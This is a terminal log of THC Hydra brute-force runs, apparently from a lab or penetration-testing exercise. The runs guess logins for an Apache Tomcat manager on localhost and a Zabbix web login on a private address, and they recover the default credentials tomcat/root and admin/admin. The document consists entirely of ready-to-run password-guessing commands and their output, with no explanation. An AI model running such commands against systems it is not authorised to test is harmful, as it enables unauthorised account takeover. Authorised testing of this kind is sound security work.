$ hydra -l tomcat -P ~/workspace/wordlists/rockyou2.txt -vV localhost -s 8080 http-get /manager/html
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-23 11:24:21
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking http-get://localhost:8080/manager/html
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target localhost - login "tomcat" - pass "admin" - 1 of 3 [child 0] (0/0)
[ATTEMPT] target localhost - login "tomcat" - pass "root" - 2 of 3 [child 1] (0/0)
[ATTEMPT] target localhost - login "tomcat" - pass "tomcat" - 3 of 3 [child 2] (0/0)
[STATUS] attack finished for localhost (waiting for children to complete tests)
[8080][http-get] host: localhost login: tomcat password: root
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-07-23 11:24:21
$ hydra -l admin -vV -P ~/workspace/wordlists/rockyou2.txt 172.26.45.12 -s 62205 https-post-form "/zabbix/index.php:name=^USER^&password=^PASS^&autologin=1&enter=Sign+in:Login name or password is incorrect"
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-23 11:26:43
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:1/p:4), ~1 try per task
[DATA] attacking http-post-forms://172.26.45.12:62205/zabbix/index.php:name=^USER^&password=^PASS^&autologin=1&enter=Sign+in:Login name or password is incorrect
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 172.26.45.12 - login "admin" - pass "admin" - 1 of 4 [child 0] (0/0)
[ATTEMPT] target 172.26.45.12 - login "admin" - pass "root" - 2 of 4 [child 1] (0/0)
[ATTEMPT] target 172.26.45.12 - login "admin" - pass "tomcat" - 3 of 4 [child 2] (0/0)
[ATTEMPT] target 172.26.45.12 - login "admin" - pass "hello" - 4 of 4 [child 3] (0/0)
[STATUS] attack finished for 172.26.45.12 (waiting for children to complete tests)
[VERBOSE] Page redirected to http://172.26.45.12:62205:62205/zabbix/dashboard.php
[62205][http-post-form] host: 172.26.45.12 login: admin password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-07-23 11:26:44
hydra -I -V -l tomcat -P ~/workspace/fuzzDicts/passwordDict/top1000.txt -t 1 -c 5 "http-get://localhost:8080/manager/html:A=BASIC:F=401"